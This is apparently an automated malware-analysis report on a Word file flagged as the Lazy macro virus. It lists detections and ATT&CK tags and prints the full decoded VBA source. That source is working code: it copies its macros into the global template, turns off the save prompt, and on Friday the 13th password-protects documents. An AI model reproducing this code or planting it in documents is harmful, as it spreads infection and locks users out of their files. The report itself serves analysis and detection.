MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file is a legacy Word document containing a VBA macro named 'AutoOpen'. This macro is designed to copy itself and another macro named 'Lazy' to global templates and the current document, and then attempts to execute a payload. The presence of the 'AutoOpen' macro and the legacy WordBasic markers strongly suggest a self-propagating macro-based malware.
Heuristics 4
-
ClamAV: Doc.Trojan.Lazy-4 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Lazy-4
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1931 bytes |
SHA-256: cfc5a396097ed737bff7cd73a256f646571678d165ce387221c9c299caa3c6e7 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "AutoOpen"
Public Sub MAIN()
Attribute MAIN.VB_Description = "Infects an existing Document or Template."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoOpen.MAIN"
On Error Resume Next
WordBasic.Call "Lazy.EnableAutoMacros"
WordBasic.Call "Lazy.CopyMacros", "Global:AutoOpen", WordBasic.[FileName$]() + ":AutoOpen"
WordBasic.Call "Lazy.CopyMacros", "Global:Lazy", WordBasic.[FileName$]() + ":Lazy"
WordBasic.Call "Lazy.SaveFile", 1
WordBasic.Call "Lazy.CopyMacros", WordBasic.[FileName$]() + ":AutoOpen", "Global:AutoOpen"
WordBasic.Call "Lazy.CopyMacros", WordBasic.[FileName$]() + ":Lazy", "Global:Lazy"
WordBasic.Call "Lazy.DisableGlobalPrompt"
WordBasic.Call "Lazy.Payload"
End Sub
Attribute VB_Name = "Lazy"
Public Sub MAIN()
Attribute MAIN.VB_Description = "Used by the Lazy Virus."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.Lazy.MAIN"
'REM Lazy!
End Sub
Private Function CopyMacros(From$, To_$)
On Error Resume Next
WordBasic.MacroCopy From$, To_$, 1
End Sub
Private Function DisableGlobalPrompt()
On Error Resume Next
WordBasic.ToolsOptionsSave GlobalDotPrompt:=0
End Sub
Private Function EnableAutoMacros()
On Error Resume Next
WordBasic.DisableAutoMacros 0
End Sub
Private Function SaveFile(Format_)
On Error Resume Next
WordBasic.FileSaveAs Format:=Format_
End Sub
Private Function Payload()
Dim Password$
On Error Resume Next
If WordBasic.WeekDay(WordBasic.Now()) = 6 And WordBasic.Day(WordBasic.Now()) = 13 Then
Password$ = Chr(76) + Chr(97) + Chr(122) + Chr(121)
WordBasic.FileSaveAs Password:=Password$
End If
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.